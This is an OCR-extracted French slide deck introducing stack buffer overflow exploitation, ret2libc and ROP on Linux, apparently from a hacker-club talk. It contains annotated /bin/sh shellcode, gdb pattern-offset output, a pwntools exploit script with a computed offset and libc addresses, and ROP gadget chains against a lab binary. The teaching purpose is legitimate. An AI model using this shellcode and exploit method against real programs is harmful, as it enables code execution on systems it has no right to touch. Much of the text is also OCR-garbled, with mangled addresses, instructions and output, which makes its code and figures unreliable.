1,2,3, PWNED !

Introduction aux attaques de type by Laluka

buffer overflow



Qui suis-je ?

Pourquoi le pwn ?




Mise en contexte

Définitions

Bof ? Bof.

Le ret2libe

Le ROP

On en discute ?




Les dates clés :
- 1972 : Découverte
- 1988 : Usage offensif 4: 6 allS !
- 1995 : Dépoussiéré
- 1996 : Phrack !
...PatchSS -> BypaSS... -> 22 ans d’évolution

- 2018 : La faille court toujours, Cf next conf'! ;)



- Le contexte...

Objectif ?

Processeur ?

Systeme d’exploitation ?
Protections ?

-——
a
= -

COMINJEORDATZCODEEKECUTION

Code Execution
x86 / x86-64
Linux

¥ to OVER NINE THOUSAND



Définitions ?

DAFUK IS THAT 2

ir'ngfﬁp.com



Outil n°1 :

_Ccsu_init>: pus

odb & PEDA

ebp,ebp)

addr32 call 0x5555555b6fa0 <jump_to_top_level>
nop WORD PTR cs:[rax+rax*1+0x0]

push ris
rl4
pus rl3
push riz
push rbp
(<__libc_start_main+231>:
Ox0
("/usr/bin/sh")
Ox100040000
(<main>: push 15

ebp,ebp)

Breakpoint 1, Ox0000555555575500 in main




> “1% readelf -h /bhin‘bash

baSh . F 45 4dc 46 0Z2 014 0414 00 00 00 00 00 00 00 OO0 00

little endian

readelf

-
—

a
g

am h =)
head

) O

xle index:




Outil n°3 :

Choose your
player >

SLEEP DEPRIVED




Buffer OverFlow :

La technique

Sain / non altéré

Shellcode
+ Padding

Adresse

RSP/ RIP

\/

Exécution
du programme

Stack (0x7fff...)



Buffer OverFlow : Recon

lawldluld—pl Overflow_x641% ./vuln
sage . vuln <ARGY>
Uk 91 luka—-pc Overflow_x641% ./vuln pouet
ukallaluka-pc Overflow_x $ ./vuln ALLERRRRR_LARARA_PTAINGGGGGG

|
alukal@laluka-pc Overtlow_

[ldludeldluPd pl D ﬁrfluw x641% ./vuln ARRRAAAAAAARARARAAAARARRARARARRAAARARAAAARAAAAR

u_ngthtluﬂ fault (core dmeEd)
[lalukaflaluka-pc Overflow_x64]%

pattern_create 100
'AAARXAASAABAATAANAACAR-AA(AADAA ;AR )AREAASAADAAF ARBbARALAAGAACAARZAARHAADAARZAARIAAREAR4A

AJAAFAARDARKARgAABAAL '




Buffer overflow

Pattern de
recherche

x4c414136414167

0x6141414541412941 (

( "ARAXAASAABAASAANAACAA-AA( AADAA ; AR ) AREARaRADAAF ARLAALARGAACA
AA3AAIAACAAAATAATARSARKAAZAAGAAL ")

Ox0

strcpy Z_unaligned+97¢

xdcd14
Il4lj 4l4lb/
QQUHHFHHDQHlHQbQACQHEQQHQQdQQERQIRﬁeﬁﬂdQﬂlﬁﬁ?ﬁﬁSﬂﬁKﬁﬁgﬁﬁéQQ
(<vuln+32>: ret)
({__libc_csu_fini>: repz ret)
(<_dl_fini)>: push rbp)

~-> OXFFF247007FF24870
2% xan ebp,ebp)

rdi ,rax

push rbp
(main+i>: mov rbp,rsp
{main+4>: sub rsp,0x10
{main+8>: mov DWORD PTR [rbp=0x4],edi

"AAOAAFARLAALAAGAACAAZARHARMAASAARIAREAA4AATAATARSAAKAARARGA

JRIAReAA4AATARTARSAAKAAZAARBAAL ")
HTQH+HH|HH'

fHFleHHuHHL”
) c414136 ('6AAL"')

s value

in vuln ()




DX+0 found
BP+0 found

OxQ0007Ff+fffffelf3
Ox00007FFfFffffe333
OxQ0007FFfFffffe510
Ox00007FFfFfffffe9a3
Ox00007FFfFfFffffel00
Ox00007fFffFfffelzO

Ox00007fffffffells
Ox00007FFFFffFfenis

Buffer overflow : Offset

Ox
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m
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O0007FFfFfFfFfebl10
O0007FfFff¥ffes10
00007 fffffffeSal
00007 fffffffeBSa3
O0007fffffffeSa3
00007+ +eSa3

nomnon

VOO TOD

e
o O

"t

b

> O G

0

0

—
—

Dx345 [-210 dwords])
[-130 dwords])
[-10 dwords])
' dwords] )

($sp +

($sp + -0xZ05
($sp + —-0OxZ8
($sp +

-0x438 >70 dwords])
-0x418 [-262 dwords])
-0x428 266 dwords])
—Ox420 264 dwords])
-0x30 [-12 dwords])
0x108 [66 dwords])




48
2f
48
50
48

: 48
: b
: 48
: 48
: Of

b8
73
cl

89
3
3b
3
i
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Buffer overflow : Shellcode classique

2f 2f 62 69 6e
68
e8 08

e’
cO

f6
d2

movabs rax,0x68732f6e69622f2f 0

shr rax,0x8 A
push rax E
mov rdi, rsp I
Xor rax, rax 12
mov al,0x3b 15:
Xor rsi, rsi 17
Xor rdx, rdx 1a
syscall 1d

: "//bin/sh" dans rax

: "/bin/sh\x00" dans rax
: mettre rax en pile

: rdi pointe vers la pile

: 0 dans rax

59 dans rax (execve)

: 0 dans rsi

: 0 dans rdx

: Initier le syscall
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Buffer overflow : Point de

assemble main
cocde for function main:
) 0004005h7 <+0>: push rbp
00000004005b8 <+1>: MoV rbp,rsp
{+4>: sub rsp,0x10
(+8>: mow DWORD PTR [rbp-0x4],edi
( (+11>: mowV QWORD PTR [rbp-0x10],rsi
0x00000000004005ct <+15>: cmp DWORD PTR [rbp-0x4],0x1
0x00000000004005ca <+19>: JE 0x4005e0 <main+41>
<+Z21>: mowv di ,0x400684
<+Z26> : call x400460 <putsBplt>
{+31>: MoV edi ,0x0
{+36>: call 0x400490 <exitEplt>
(+41>: MoV rax ,QUORD PTR [rbp-0x10]
<+45>: add rax,0x8
{+49> ; mov rax,QWORD PTR [rax]
J <+H2>: Moy rdl ,rax
0000000004005ee <+55>: call Ox400596 <vuln>
)00000004005F3 <+607 ; leave
{+bl>: ret

e
0

of assembler dump.

b * main+61i

Breakpoint 1 at Ox4005f4
run AARARA




Buffer overflow : Point de saut

{main+HZ>:
(main+55%5
main+6
{main+bl>:
nop
nop

moyv g BTe [=To b1
_start_main+234>: mov
("/home/laluka/Docume
_Louka_Arthur/Overflow x64/vuln")

)040000
(<main>: push rbp)

Oxd46eb6676bbd44adbe
({_start): Xor ebp,ebp)

- , value
0000000040054 in main ()

None ranges
0041414141
041414141
41 (AARFRA")
¥434c0041414141 (

16



Lo UE WN -

Buffer overflow : Le classique

)

J0_Louka_Arthur/0vertlow_>

i null byte in input

= ] vV Py Z DY =1 = Cdl J s / ash

new program: Jusr/bin/whoami

N " s T =

exited normally]

ve({what, where):
pen (where,

write(what)

nb A of fset len(shell
padding A" * nb A
addr 1input OX7Ffffreftfe (
iddress shellcode = p64{addr input + nb A)
t "address shellcode®, hex(addr input + nb
payload = padding + shellcode + address shellcode

17



Protection ? Bypass !
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Le ret2libe : Stack (Ox7ff...) Libc.s0.XX (OX7fff...)

La technique

Sain / non altéré RSP/ RIP
Overflow

Adresse

\/

Exécution du
programme




Le ret2libe : La mémoire
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Le ret2libe

[1aluka@laluka-pec Retzlibc_basicl$ ldd vuln
linux-gate.so.1 (Oxf7+d5000)
libc.s0o.6 => usr/1ib3Z2/1ibc.so.b
flib/Ald=1linux.80.2 => UCPfllb/lu

[laluka@laluka=-pc RetZlibc_bas IL]S

[13lukaflaluka=-pc Petfllbc basicl]$ readelf -a

251: 0012650 10Z FUNC GLOBAL DEFAULT
640: 0003c7d0 55 FUNC GLOBAL DEFAULT
1485: 0003c7d0 55 FUNC WEARK DEFAULT
565: 00000000 0 FILE LOCAL DEFARULT
566: 0003czb0 1086 FUNC LOCAL DEFAULT
4988 : 00126520 102 FUNC LOCAL DEFAULT
6919: 0003c7d0 55 FUNC WEAK DEFAULT
7939: 00126520 102 FUNC GLOBAL DEFAULT
7602: 0003c/: 95 FUNC GLOBAL DEFAULT

[lalukaflaluka-pc RetZlibc_basicl$

[laluka@laluka=-pc RetZlibc_basicl]$ grep

1542282 :/bin/sh

[lalukaf@laluka-pc RetZlibc_basi

[laluijlalul ~-pc RetZlibc_basi

el @ L P )

» puthon -c

RetZlibc_basicls
RetZlibc_basicl$

flaluPQUIalulq—p
[1aluka@laluka-
Ox+f7dfa7do

python -c

Les offsets

JJqum c
do_system

*gstem

DD WWOm W W "‘-

Hr*hawr*cﬁw>4»*m

“/bin/s

"print hex

"print hex(0

__GI_svcerr

_systemernr




[lalukal@laluka-

Dumping Binary
Quitting

[l1alukal@laluka-

Dumping Bilnary
Redirect Me 1if
Quitting

[lalukaRlaluka-

Dumping Binary
Redirect Me if

Le ret2libc : Recon

pc RetZ2libc_basicl$ ./vuln

pc RetZlibc_basicl$ ./vuln POUET

you can !

pc RetZlibc_basicl$ ./vuln $(python -c "print

you can !

Segmentation fault (core dumped)
[lalukal@laluka-pc RetZlibc_basicl$

*

22



L]
Le ret2libe : S 20 Lamenshanisiesipencris s iRd 1o ey ARZEAHARAATA

ARYARWARZARXAAYAR"

. ; a5 T / UXALCE
Taille du Eaasiges e
¢ Ox413325¢

f IH/( IH
(c

QQ00 |
Q004 | 49”19‘
Q008 | WJQ”+H 50
0012 | f N FANBANKAXEA%6aY%")
0016 | ) QAKHuSQ%BHx"
00:u| i KA%BAX" )

f = w-)

r
o
o

Legend: s

Stopped reason:

0x41332541 in 2?9 ()
pattern_search

EBP+0 found at :

I ®
pt
mwmomN
il el el | 1]
N NN
]t

mf

)




Le ret2libe : System RS

int system
ﬂriable, no debug info>} Oxf7dfa7d0 <{syst
"/bin/sh"
Searchimg r '/bin/sh' in: None rang
Found ! 11ts, di !—__-;plai__] max 1 ifF-‘n S pwn_it.py
libc : ‘ ("/bin/sh")

File Edit View Selection Find Packages Help

: from pwn import
rting local ‘L /vulnt
hlno o _:.'v: mode

E 1lhnar L_{
Me 1f you can

E.—f
! Q)
'_1,...

S £
ping
rec

[+
[
Du
R

ed

offset = 268

payload = "A" * offset
payload += p32(0xf7dfa7de)
payload += p32(0x42424242)
payload += p32(0xf7f3688a)

1
=

=

J lp ;
%é%
O

o

B=: D

=3
U‘lﬂ (
=

process(["./vuln", payload])
r.interactive()




Protection ? Bypass !
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Le ROP :

La technique

Sain / non altéré
Overflow

Adresse

RSP /RIP 1

RSP /RIP 2

\/

Exécution du
programme

Stack (Ox7fff...)

Section .text (0x5555...)

26



[l«luka@ldlqu pc ROP_x64]% readelf -h vuln

4c 46 02 01 01 03 00 00 OO0 OO0 OO 00 00 00
ELFb4
complement, little endian
”ErquH 1 (current)
0S/ABI: UNIX = GNU
ABI Version: 0
Type: EXEC (Executable file)
Machine: deancpd Micro Devices X8
Version:
Entry point address:
Start of program headers:
Start of section headers:
Flags:
81ze of this header:
8ize of program headers:
Number of program headers:
Size of section headers:
Number of section headers:
section header string t
[1aluka@laluka-pc ROP
[lalukaBlaluka-pc ROP 4]$ ldd vuln
not a dynamic executable
[1aluka@laluka-pc R 1%
[lalukallaluka-pc ROP_x641]1% cat /proc/sys/kernel/randomize_va_spac
>

<
[1alukal@laluka-pc
[laluka@laluka-pc




Le ROP : Recon et Offset

U

g program: ‘home/s/lalukas/Downloads/05430/TP3_05430_Louka_Arthur/TP3_ELEVES/ROP_x64/

HH Dﬂfi to Dump

FAANAACAA-AA (AADAA ; AA ) AREAAaRADAAF ARbARLAAGARACAAZAAHAAdAASAATIAARCAA4AATAARFAASA
AKARZARBARARLARNAA QHHHHlHQ“HHHHH}HH4HHHHH HHFHHIHHHHHmHHFHHuHH3HHpHHTHHqHHHHHrHH HHTHHHHHH
HH’HH»HH(HHMHH7QH AYAAZ Hﬂﬂﬁf “EAXNAY A% VAREA%aA%0A%F A%bA%LAKGA%CAY “wHAY
jH;‘c- -_IH.-"::- I QxE‘H"]’ A% _TH + Q % [:liji:: }’/

pattern_search

RDX+-60 found at
RBP+0 found at of
R10+5Z found at o

J
+
o)

D
d

- h
- 0N
~J
(8]
(@)
()]

0o Ol

W m

et
N
o

o+ s ]

[RSP] =-=> offset 264 - siz

"7

Ox00007FfFfFfF7FF8000 : o??aet 0 S1z 300 (mapped)
Ox00007Fffffffed470 : offset siz 300 ($sp + -0x108 [-66 dwords))

Ox006b46b8 : OxXQO0007FfFfff7FfF8000 (/home/laluka/Downloads/05430/TP3_0S430_Louka_Arthur/TP3_
ELEVES/ROP_x64/vuln)




Le ROP : Ropchain & Exploit

offse
45f661 mov quord ptr [rsil, rax ; v payload
payload
payload
payload
payload

iget found: : ; = UnV7014 + Ox0000R0ARAN4STHEE]1)
jget found: ) ==k

adget found:

payload

payload 30

Gadget found: 0x401 pop rdi ; re payload 64 (¢ )00000ARN4A1C
Gadget found: - pop rsi

Gadget found: Ox43Zef5 pop rdx ; ret pa 64 (0x000000000045f

Init syscall arguments gadgets

Syscall gadget >
payload

payload
payload
payload

ayload

payload

1
payloa

y I 3 ret
rd ptr [rsil




Le ROP : Exploit time

[+] Starting local process './vuln’

[#] Switching to interactive mode
Data :

echo $0
hash

“Hi shell, I’'m Shell ! ”

30



Protection ? Bypass !
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Entrainement ici :

https://exploit-exercises.com/protostar/

Et ici:

https://www.root-me.org

Logiciels intéressants / classiques :

Reverse :

- radare2 (GUI Cutter)

- Binary ninja

- IDA - Not free... :(
ROP :

- ROPgadget

- Xrop

- brop

- Ropper
Fuzz : radamsa
VMs : gemu



https://exploit-exercises.com/protostar/
https://www.root-me.org

Remerciemaismal

HACK2G2

PARTAGEONS LA CONNAISSANCE

club.krhacken@esisar.grenoble-inp.fr hack2g2.fr



La route du PWN ici :

thinkloveshare.blogspot.fr

Whoami :

g @TheLaluka g
root-me.org/Laluka

@ oithub.com/TheLaluka @
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https://thinkloveshare.blogspot.fr
https://twitter.com/TheLaluka

